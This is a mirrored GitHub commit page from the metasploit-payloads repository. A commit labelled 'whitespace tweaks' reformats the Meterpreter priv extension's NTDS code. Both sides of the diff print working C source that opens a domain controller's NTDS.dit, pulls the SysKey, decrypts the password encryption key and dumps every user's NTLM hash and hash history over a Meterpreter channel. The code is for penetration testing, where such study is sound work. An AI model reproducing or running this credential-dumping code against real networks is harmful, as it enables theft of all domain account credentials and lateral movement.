1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-30 22:19:17 +02:00

whitespace tweaks

This commit is contained in:
Brent Cook 2015-06-04 08:50:24 -05:00
parent 2b07377328
commit 773008d921
3 changed files with 146 additions and 112 deletions
c/meterpreter/source/extensions/priv/server

@ -13,13 +13,14 @@ typedef struct
// It calls the setup routines for our Jet Instance, attaches the isntance // It calls the setup routines for our Jet Instance, attaches the isntance
// to the NTDS.dit database the user specified, and creates our channel. // to the NTDS.dit database the user specified, and creates our channel.
// The user interacts with the NTDS database through that channel from that point on. // The user interacts with the NTDS database through that channel from that point on.
DWORD ntds_parse(Remote *remote, Packet *packet){ DWORD ntds_parse(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet); Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS; DWORD res = ERROR_SUCCESS;
struct jetState *ntdsState = calloc(1,sizeof(struct jetState)); struct jetState *ntdsState = calloc(1,sizeof(struct jetState));
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH); PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
// Check if the File exists // Check if the File exists
if (0xffffffff == GetFileAttributes(filePath)){ if (0xffffffff == GetFileAttributes(filePath)) {
res = 2; res = 2;
goto out; goto out;
} }
@ -27,31 +28,31 @@ DWORD ntds_parse(Remote *remote, Packet *packet){
// Attempt to get the SysKey from the Registry // Attempt to get the SysKey from the Registry
unsigned char sysKey[17]; unsigned char sysKey[17];
if (!get_syskey(sysKey)){ if (!get_syskey(sysKey)) {
res = GetLastError(); res = GetLastError();
goto out; goto out;
} }
JET_ERR startupStatus = engine_startup(ntdsState); JET_ERR startupStatus = engine_startup(ntdsState);
if (startupStatus != JET_errSuccess){ if (startupStatus != JET_errSuccess) {
exit(startupStatus); exit(startupStatus);
} }
// Start a Session in the Jet Instance // Start a Session in the Jet Instance
JET_ERR sessionStatus = JetBeginSession(ntdsState->jetEngine, &ntdsState->jetSession, NULL, NULL); JET_ERR sessionStatus = JetBeginSession(ntdsState->jetEngine, &ntdsState->jetSession, NULL, NULL);
if (sessionStatus != JET_errSuccess){ if (sessionStatus != JET_errSuccess) {
JetTerm(ntdsState->jetEngine); JetTerm(ntdsState->jetEngine);
res = sessionStatus; res = sessionStatus;
goto out; goto out;
} }
JET_ERR openStatus = open_database(ntdsState); JET_ERR openStatus = open_database(ntdsState);
if (openStatus != JET_errSuccess){ if (openStatus != JET_errSuccess) {
JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL); JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL);
JetTerm(ntdsState->jetEngine); JetTerm(ntdsState->jetEngine);
res = openStatus; res = openStatus;
goto out; goto out;
} }
JET_ERR tableStatus = JetOpenTable(ntdsState->jetSession, ntdsState->jetDatabase, "datatable", NULL, 0, JET_bitTableReadOnly | JET_bitTableSequential, &ntdsState->jetTable); JET_ERR tableStatus = JetOpenTable(ntdsState->jetSession, ntdsState->jetDatabase, "datatable", NULL, 0, JET_bitTableReadOnly | JET_bitTableSequential, &ntdsState->jetTable);
if (tableStatus != JET_errSuccess){ if (tableStatus != JET_errSuccess) {
engine_shutdown(ntdsState); engine_shutdown(ntdsState);
res = tableStatus; res = tableStatus;
goto out; goto out;
@ -61,7 +62,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet){
struct ntdsColumns *accountColumns = calloc(1, sizeof(struct ntdsColumns)); struct ntdsColumns *accountColumns = calloc(1, sizeof(struct ntdsColumns));
JET_ERR columnStatus = get_column_info(ntdsState, accountColumns); JET_ERR columnStatus = get_column_info(ntdsState, accountColumns);
if (columnStatus != JET_errSuccess){ if (columnStatus != JET_errSuccess) {
engine_shutdown(ntdsState); engine_shutdown(ntdsState);
free(accountColumns); free(accountColumns);
res = columnStatus; res = columnStatus;
@ -73,7 +74,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet){
// Get and Decrypt the Password Encryption Key (PEK) // Get and Decrypt the Password Encryption Key (PEK)
pekStatus = get_PEK(ntdsState, accountColumns, pekEncrypted); pekStatus = get_PEK(ntdsState, accountColumns, pekEncrypted);
if (pekStatus != JET_errSuccess){ if (pekStatus != JET_errSuccess) {
res = pekStatus; res = pekStatus;
free(accountColumns); free(accountColumns);
free(pekEncrypted); free(pekEncrypted);
@ -81,8 +82,8 @@ DWORD ntds_parse(Remote *remote, Packet *packet){
engine_shutdown(ntdsState); engine_shutdown(ntdsState);
goto out; goto out;
} }
if (!decrypt_PEK(sysKey, pekEncrypted, pekDecrypted)){ if (!decrypt_PEK(sysKey, pekEncrypted, pekDecrypted)) {
res = GetLastError(); res = GetLastError();
free(accountColumns); free(accountColumns);
free(pekEncrypted); free(pekEncrypted);
free(pekDecrypted); free(pekDecrypted);
@ -91,7 +92,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet){
} }
// Set our Cursor on the first User record // Set our Cursor on the first User record
JET_ERR cursorStatus = find_first(ntdsState); JET_ERR cursorStatus = find_first(ntdsState);
if (cursorStatus != JET_errSuccess){ if (cursorStatus != JET_errSuccess) {
res = cursorStatus; res = cursorStatus;
free(accountColumns); free(accountColumns);
free(pekEncrypted); free(pekEncrypted);
@ -100,7 +101,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet){
goto out; goto out;
} }
cursorStatus = next_user(ntdsState, accountColumns); cursorStatus = next_user(ntdsState, accountColumns);
if (cursorStatus != JET_errSuccess){ if (cursorStatus != JET_errSuccess) {
res = cursorStatus; res = cursorStatus;
free(accountColumns); free(accountColumns);
free(pekEncrypted); free(pekEncrypted);
@ -154,15 +155,16 @@ out:
// This function reads an individual account record from the database and moves // This function reads an individual account record from the database and moves
// the cursor to the next one in the table. // the cursor to the next one in the table.
static DWORD ntds_read_into_batch(NTDSContext *ctx, struct ntdsAccount *batchedAccount){ static DWORD ntds_read_into_batch(NTDSContext *ctx, struct ntdsAccount *batchedAccount)
{
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
JET_ERR readStatus = JET_errSuccess; JET_ERR readStatus = JET_errSuccess;
struct ntdsAccount *userAccount = calloc(1,sizeof(struct ntdsAccount)); struct ntdsAccount *userAccount = calloc(1,sizeof(struct ntdsAccount));
readStatus = read_user(ctx->ntdsState, ctx->accountColumns, ctx->pekDecrypted, userAccount); readStatus = read_user(ctx->ntdsState, ctx->accountColumns, ctx->pekDecrypted, userAccount);
if (readStatus != JET_errSuccess){ if (readStatus != JET_errSuccess) {
result = readStatus; result = readStatus;
} }
else{ else {
memcpy(batchedAccount, userAccount, sizeof(struct ntdsAccount)); memcpy(batchedAccount, userAccount, sizeof(struct ntdsAccount));
} }
free(userAccount); free(userAccount);
@ -173,16 +175,17 @@ static DWORD ntds_read_into_batch(NTDSContext *ctx, struct ntdsAccount *batchedA
// It call ntds_read_into_batch up to 20 times and feeds the results into // It call ntds_read_into_batch up to 20 times and feeds the results into
// an array which is then written back out into the channel's output buffer // an array which is then written back out into the channel's output buffer
static DWORD ntds_channel_read(Channel *channel, Packet *request, static DWORD ntds_channel_read(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead){ LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
{
JET_ERR readStatus = JET_errSuccess; JET_ERR readStatus = JET_errSuccess;
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
NTDSContext *ctx = (NTDSContext *)context; NTDSContext *ctx = (NTDSContext *)context;
struct ntdsAccount batchedAccounts[20] = { 0 }; struct ntdsAccount batchedAccounts[20] = { 0 };
for (int i = 0; i < 20; i++){ for (int i = 0; i < 20; i++) {
readStatus = ntds_read_into_batch(ctx, &batchedAccounts[i]); readStatus = ntds_read_into_batch(ctx, &batchedAccounts[i]);
if (readStatus != JET_errSuccess){ if (readStatus != JET_errSuccess) {
if (i == 0){ if (i == 0) {
result = readStatus; result = readStatus;
} }
break; break;
@ -190,23 +193,24 @@ static DWORD ntds_channel_read(Channel *channel, Packet *request,
next_user(ctx->ntdsState, ctx->accountColumns); next_user(ctx->ntdsState, ctx->accountColumns);
} }
unsigned int batchSize = (unsigned int)sizeof(batchedAccounts); unsigned int batchSize = (unsigned int)sizeof(batchedAccounts);
if (batchSize < bufferSize){ if (batchSize < bufferSize) {
memcpy(buffer, batchedAccounts, batchSize); memcpy(buffer, batchedAccounts, batchSize);
*bytesRead = batchSize; *bytesRead = batchSize;
} }
else{ else {
memcpy(buffer, batchedAccounts, bufferSize); memcpy(buffer, batchedAccounts, bufferSize);
*bytesRead = bufferSize; *bytesRead = bufferSize;
} }
return result; return result;
} }
// This callback function is responsible for cleaning up when the channel // This callback function is responsible for cleaning up when the channel
// is closed. It shuts down the Jet Engine, and frees up the memory // is closed. It shuts down the Jet Engine, and frees up the memory
// for all of the context we have been carrying around. // for all of the context we have been carrying around.
static DWORD ntds_channel_close(Channel *channel, Packet *request, static DWORD ntds_channel_close(Channel *channel, Packet *request,
LPVOID context){ LPVOID context)
{
NTDSContext *ctx = (NTDSContext *)context; NTDSContext *ctx = (NTDSContext *)context;
engine_shutdown(ctx->ntdsState); engine_shutdown(ctx->ntdsState);
free(ctx->accountColumns); free(ctx->accountColumns);

@ -10,8 +10,9 @@
* @param length Integer representing the length of the byte array * @param length Integer representing the length of the byte array
* @param output Pointer to the string we are outputting the result to * @param output Pointer to the string we are outputting the result to
*/ */
void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output){ void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output)
for (unsigned int i = 0; i < length; i++){ {
for (unsigned int i = 0; i < length; i++) {
sprintf(output + (i << 1), "%02X", ((LPBYTE)data)[i]); sprintf(output + (i << 1), "%02X", ((LPBYTE)data)[i]);
} }
} }
@ -24,18 +25,20 @@ void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output){
* @param rid DWORD representing the Relative ID(RID) of the account * @param rid DWORD representing the Relative ID(RID) of the account
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
BOOL decrypt_hash(struct encryptedHash *encryptedNTLM, struct decryptedPEK *pekDecrypted, char *hashString, DWORD rid){ BOOL decrypt_hash(struct encryptedHash *encryptedNTLM,
struct decryptedPEK *pekDecrypted, char *hashString, DWORD rid)
{
BOOL cryptOK = FALSE; BOOL cryptOK = FALSE;
BYTE encHashData[NULL_TERIMNATED_HASH_LENGTH] = { 0 }; BYTE encHashData[NULL_TERIMNATED_HASH_LENGTH] = { 0 };
BYTE decHash[NULL_TERIMNATED_HASH_LENGTH] = { 0 }; BYTE decHash[NULL_TERIMNATED_HASH_LENGTH] = { 0 };
memcpy(&encHashData, &encryptedNTLM->encryptedHash, HASH_LENGTH_BYTES); memcpy(&encHashData, &encryptedNTLM->encryptedHash, HASH_LENGTH_BYTES);
cryptOK = decrypt_rc4(pekDecrypted->pekKey, encryptedNTLM->keyMaterial, encHashData, 1, HASH_LENGTH_BYTES); cryptOK = decrypt_rc4(pekDecrypted->pekKey, encryptedNTLM->keyMaterial, encHashData, 1, HASH_LENGTH_BYTES);
if (!cryptOK){ if (!cryptOK) {
return FALSE; return FALSE;
} }
cryptOK = decrypt_hash_from_rid(encHashData, &rid, decHash); cryptOK = decrypt_hash_from_rid(encHashData, &rid, decHash);
if (!cryptOK){ if (!cryptOK) {
return FALSE; return FALSE;
} }
bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString); bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString);
@ -49,14 +52,15 @@ BOOL decrypt_hash(struct encryptedHash *encryptedNTLM, struct decryptedPEK *pekD
* @param decodedHash Pointer to where we store the decrypted hash * @param decodedHash Pointer to where we store the decrypted hash
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash){ BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash)
{
typedef NTSTATUS(__stdcall *PSYS25)(IN LPCBYTE data, IN LPDWORD key, OUT LPBYTE output); typedef NTSTATUS(__stdcall *PSYS25)(IN LPCBYTE data, IN LPDWORD key, OUT LPBYTE output);
HMODULE hAdvapi = LoadLibrary("advapi32.dll"); HMODULE hAdvapi = LoadLibrary("advapi32.dll");
if (hAdvapi == NULL){ if (hAdvapi == NULL) {
return FALSE; return FALSE;
} }
PSYS25 decryptFromRID = (PSYS25)GetProcAddress(hAdvapi, "SystemFunction025"); PSYS25 decryptFromRID = (PSYS25)GetProcAddress(hAdvapi, "SystemFunction025");
if (decryptFromRID(encodedHash, rid, decodedHash) != 0){ if (decryptFromRID(encodedHash, rid, decodedHash) != 0) {
return FALSE; return FALSE;
} }
return TRUE; return TRUE;
@ -72,7 +76,9 @@ BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash){
* @param historyCount Pointer to n integer where we store a count of the historical hashes * @param historyCount Pointer to n integer where we store a count of the historical hashes
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory, struct decryptedPEK *pekDecrypted, DWORD rid, char *accountHistory, unsigned int *historyCount){ BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory,
struct decryptedPEK *pekDecrypted, DWORD rid, char *accountHistory, unsigned int *historyCount)
{
BOOL cryptOK = FALSE; BOOL cryptOK = FALSE;
unsigned int sizeHistoryData = (unsigned int)sizeHistory - 24; unsigned int sizeHistoryData = (unsigned int)sizeHistory - 24;
unsigned int numHashes = (sizeHistoryData / HASH_LENGTH_BYTES); unsigned int numHashes = (sizeHistoryData / HASH_LENGTH_BYTES);
@ -81,18 +87,18 @@ BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory, struct decr
LPBYTE decHistoryData = (LPBYTE)calloc(1,(sizeHistoryData * 2)); LPBYTE decHistoryData = (LPBYTE)calloc(1,(sizeHistoryData * 2));
memcpy(encHistoryData, encHashHistory + 24, sizeHistoryData); memcpy(encHistoryData, encHashHistory + 24, sizeHistoryData);
cryptOK = decrypt_rc4(pekDecrypted->pekKey, encHashHistory + 8, encHistoryData, 1, sizeHistoryData); cryptOK = decrypt_rc4(pekDecrypted->pekKey, encHashHistory + 8, encHistoryData, 1, sizeHistoryData);
if (!cryptOK){ if (!cryptOK) {
free(encHistoryData); free(encHistoryData);
free(decHistoryData); free(decHistoryData);
return FALSE; return FALSE;
} }
LPBYTE historicalHash = encHistoryData; LPBYTE historicalHash = encHistoryData;
LPBYTE writeMarker = decHistoryData; LPBYTE writeMarker = decHistoryData;
for (unsigned int i = 0; i < numHashes; i++){ for (unsigned int i = 0; i < numHashes; i++) {
BYTE decHash[HASH_LENGTH_BYTES]; BYTE decHash[HASH_LENGTH_BYTES];
char hashString[NULL_TERIMNATED_HASH_STRING_LENGTH] = { 0 }; char hashString[NULL_TERIMNATED_HASH_STRING_LENGTH] = { 0 };
cryptOK = decrypt_hash_from_rid(historicalHash, &rid, decHash); cryptOK = decrypt_hash_from_rid(historicalHash, &rid, decHash);
if (!cryptOK){ if (!cryptOK) {
return FALSE; return FALSE;
} }
bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString); bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString);
@ -113,13 +119,14 @@ BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory, struct decr
* @param pekDecrypted Pointer to the decryptedPEK struct where we will store our decrypted PEK * @param pekDecrypted Pointer to the decryptedPEK struct where we will store our decrypted PEK
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struct decryptedPEK *pekDecrypted){ BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struct decryptedPEK *pekDecrypted)
{
BOOL cryptOK = FALSE; BOOL cryptOK = FALSE;
BYTE pekData[52] = { 0 }; BYTE pekData[52] = { 0 };
memcpy(&pekData, &pekEncrypted->pekData, sizeof(struct decryptedPEK)); memcpy(&pekData, &pekEncrypted->pekData, sizeof(struct decryptedPEK));
cryptOK = decrypt_rc4(sysKey, pekEncrypted->keyMaterial, pekData, 1000, sizeof(struct decryptedPEK)); cryptOK = decrypt_rc4(sysKey, pekEncrypted->keyMaterial, pekData, 1000, sizeof(struct decryptedPEK));
if (!cryptOK){ if (!cryptOK) {
return FALSE; return FALSE;
} }
memcpy(pekDecrypted, &pekData, sizeof(struct decryptedPEK)); memcpy(pekDecrypted, &pekData, sizeof(struct decryptedPEK));
@ -135,7 +142,9 @@ BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struc
* @param lenBuffer the length of our output buffer * @param lenBuffer the length of our output buffer
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted, unsigned int hashIterations, DWORD lenBuffer){ BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted,
unsigned int hashIterations, DWORD lenBuffer)
{
BOOL cryptOK = FALSE; BOOL cryptOK = FALSE;
HCRYPTPROV hProv = 0; HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0; HCRYPTHASH hHash = 0;
@ -144,42 +153,42 @@ BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted, uns
HCRYPTKEY rc4KeyFinal; HCRYPTKEY rc4KeyFinal;
cryptOK = CryptAcquireContext(&hProv, 0, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); cryptOK = CryptAcquireContext(&hProv, 0, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
if (!cryptOK){ if (!cryptOK) {
return FALSE; return FALSE;
} }
cryptOK = CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash); cryptOK = CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash);
if (!cryptOK){ if (!cryptOK) {
CryptReleaseContext(hProv, (ULONG_PTR)NULL); CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE; return FALSE;
} }
cryptOK = CryptHashData(hHash, key1, HASH_LENGTH_BYTES, 0); cryptOK = CryptHashData(hHash, key1, HASH_LENGTH_BYTES, 0);
if (!cryptOK){ if (!cryptOK) {
CryptDestroyHash(hHash); CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL); CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE; return FALSE;
} }
for (unsigned int i = 0; i < hashIterations; i++){ for (unsigned int i = 0; i < hashIterations; i++) {
cryptOK = CryptHashData(hHash, key2, HASH_LENGTH_BYTES, 0); cryptOK = CryptHashData(hHash, key2, HASH_LENGTH_BYTES, 0);
if (!cryptOK){ if (!cryptOK) {
CryptDestroyHash(hHash); CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL); CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE; return FALSE;
} }
} }
cryptOK = CryptGetHashParam(hHash, HP_HASHVAL, rc4Key, &md5Len, 0); cryptOK = CryptGetHashParam(hHash, HP_HASHVAL, rc4Key, &md5Len, 0);
if (!cryptOK){ if (!cryptOK) {
CryptDestroyHash(hHash); CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL); CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE; return FALSE;
} }
cryptOK = CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &rc4KeyFinal); cryptOK = CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &rc4KeyFinal);
if (!cryptOK){ if (!cryptOK) {
CryptDestroyHash(hHash); CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL); CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE; return FALSE;
} }
cryptOK = CryptEncrypt(rc4KeyFinal, (HCRYPTHASH)NULL, TRUE, 0, encrypted, &lenBuffer, lenBuffer); cryptOK = CryptEncrypt(rc4KeyFinal, (HCRYPTHASH)NULL, TRUE, 0, encrypted, &lenBuffer, lenBuffer);
if (!cryptOK){ if (!cryptOK) {
CryptDestroyKey(rc4KeyFinal); CryptDestroyKey(rc4KeyFinal);
CryptDestroyHash(hHash); CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL); CryptReleaseContext(hProv, (ULONG_PTR)NULL);

@ -9,18 +9,19 @@
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance. * @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
JET_ERR engine_shutdown(struct jetState *ntdsState){ JET_ERR engine_shutdown(struct jetState *ntdsState)
{
JET_ERR shutdownStatus; JET_ERR shutdownStatus;
shutdownStatus = JetCloseDatabase(ntdsState->jetSession, ntdsState->jetDatabase, (JET_GRBIT)NULL); shutdownStatus = JetCloseDatabase(ntdsState->jetSession, ntdsState->jetDatabase, (JET_GRBIT)NULL);
if (shutdownStatus != JET_errSuccess){ if (shutdownStatus != JET_errSuccess) {
return shutdownStatus; return shutdownStatus;
} }
shutdownStatus = JetDetachDatabase(ntdsState->jetSession, ntdsState->ntdsPath); shutdownStatus = JetDetachDatabase(ntdsState->jetSession, ntdsState->ntdsPath);
if (shutdownStatus != JET_errSuccess){ if (shutdownStatus != JET_errSuccess) {
return shutdownStatus; return shutdownStatus;
} }
shutdownStatus = JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL); shutdownStatus = JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL);
if (shutdownStatus != JET_errSuccess){ if (shutdownStatus != JET_errSuccess) {
return shutdownStatus; return shutdownStatus;
} }
shutdownStatus = JetTerm(ntdsState->jetEngine); shutdownStatus = JetTerm(ntdsState->jetEngine);
@ -33,34 +34,37 @@ JET_ERR engine_shutdown(struct jetState *ntdsState){
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance. * @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
JET_ERR engine_startup(struct jetState *ntdsState){ JET_ERR engine_startup(struct jetState *ntdsState)
{
JET_ERR jetError; JET_ERR jetError;
// Set the Page Size to the highest possibile limit // Set the Page Size to the highest possibile limit
jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramDatabasePageSize, 8192, NULL); jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramDatabasePageSize, 8192, NULL);
if (jetError != JET_errSuccess){ if (jetError != JET_errSuccess) {
return jetError; return jetError;
} }
char instanceName[80] = "NTDS "; char instanceName[80] = "NTDS ";
get_instance_name(instanceName); get_instance_name(instanceName);
// Create our Jet Instance // Create our Jet Instance
jetError = JetCreateInstance(&ntdsState->jetEngine, instanceName); jetError = JetCreateInstance(&ntdsState->jetEngine, instanceName);
if (jetError != JET_errSuccess){ if (jetError != JET_errSuccess) {
return jetError; return jetError;
} }
// Disable crash recovery and transaction logs // Disable crash recovery and transaction logs
jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramRecovery, (JET_API_PTR)NULL, "Off"); jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil,
if (jetError != JET_errSuccess){ JET_paramRecovery, (JET_API_PTR)NULL, "Off");
if (jetError != JET_errSuccess) {
return jetError; return jetError;
} }
// Initialise the Jet instance // Initialise the Jet instance
jetError = JetInit(&ntdsState->jetEngine); jetError = JetInit(&ntdsState->jetEngine);
if (jetError != JET_errSuccess){ if (jetError != JET_errSuccess) {
return jetError; return jetError;
} }
return JET_errSuccess; return JET_errSuccess;
} }
void get_instance_name(char *name){ void get_instance_name(char *name)
{
SYSTEMTIME currentTime; SYSTEMTIME currentTime;
GetSystemTime(&currentTime); GetSystemTime(&currentTime);
char dateString[30]; char dateString[30];
@ -77,7 +81,8 @@ void get_instance_name(char *name){
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance. * @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
JET_ERR find_first(struct jetState *ntdsState){ JET_ERR find_first(struct jetState *ntdsState)
{
JET_ERR cursorStatus; JET_ERR cursorStatus;
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL); cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL);
return cursorStatus; return cursorStatus;
@ -89,7 +94,8 @@ JET_ERR find_first(struct jetState *ntdsState){
* @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions. * @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions.
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountColumns){ JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountColumns)
{
JET_ERR columnError; JET_ERR columnError;
struct { struct {
char *name; char *name;
@ -111,9 +117,9 @@ JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountC
{ "ATTr589970", &accountColumns->accountSID } { "ATTr589970", &accountColumns->accountSID }
}; };
int countColumns = sizeof(columns) / sizeof(columns[0]); int countColumns = sizeof(columns) / sizeof(columns[0]);
for (int i = 0; i < countColumns; i++){ for (int i = 0; i < countColumns; i++) {
columnError = JetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, columns[i].name, columns[i].column, sizeof(JET_COLUMNDEF), JET_ColInfo); columnError = JetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, columns[i].name, columns[i].column, sizeof(JET_COLUMNDEF), JET_ColInfo);
if (columnError != JET_errSuccess){ if (columnError != JET_errSuccess) {
return columnError; return columnError;
} }
} }
@ -127,20 +133,21 @@ JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountC
* @param pekEncrypted Pointer to an encryptedPEK struct to hold our encrypted PEK * @param pekEncrypted Pointer to an encryptedPEK struct to hold our encrypted PEK
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
JET_ERR get_PEK(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct encryptedPEK *pekEncrypted){ JET_ERR get_PEK(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct encryptedPEK *pekEncrypted)
{
JET_ERR cursorStatus; JET_ERR cursorStatus;
JET_ERR readStatus; JET_ERR readStatus;
unsigned char *encryptionKey[76]; unsigned char *encryptionKey[76];
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL); cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL);
if (cursorStatus != JET_errSuccess){ if (cursorStatus != JET_errSuccess) {
return cursorStatus; return cursorStatus;
} }
do{ do {
//Attempt to retrieve the Password Encryption Key //Attempt to retrieve the Password Encryption Key
unsigned long columnSize = 0; unsigned long columnSize = 0;
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->encryptionKey.columnid, encryptionKey, 76, &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->encryptionKey.columnid, encryptionKey, 76, &columnSize, 0, NULL);
if (readStatus == JET_errSuccess){ if (readStatus == JET_errSuccess) {
memcpy(pekEncrypted, &encryptionKey, 76); memcpy(pekEncrypted, &encryptionKey, 76);
return readStatus; return readStatus;
} }
@ -155,25 +162,26 @@ JET_ERR get_PEK(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
* @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions. * @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions.
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
JET_ERR next_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns){ JET_ERR next_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns)
{
JET_ERR cursorStatus; JET_ERR cursorStatus;
JET_ERR readStatus; JET_ERR readStatus;
JET_ERR finalStatus = JET_errSuccess; JET_ERR finalStatus = JET_errSuccess;
DWORD accountType = 0; DWORD accountType = 0;
unsigned long columnSize = 0; unsigned long columnSize = 0;
do{ do {
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL); cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
if (cursorStatus != JET_errSuccess){ if (cursorStatus != JET_errSuccess) {
finalStatus = cursorStatus; finalStatus = cursorStatus;
break; break;
} }
//Retrieve the account type for this row //Retrieve the account type for this row
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountType.columnid, &accountType, sizeof(accountType), &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountType.columnid, &accountType, sizeof(accountType), &columnSize, 0, NULL);
// Unless this is a User Account, then we skip it // Unless this is a User Account, then we skip it
if (readStatus == JET_wrnColumnNull){ if (readStatus == JET_wrnColumnNull) {
continue; continue;
} }
else if (readStatus != JET_errSuccess){ else if (readStatus != JET_errSuccess) {
finalStatus = readStatus; finalStatus = readStatus;
break; break;
} }
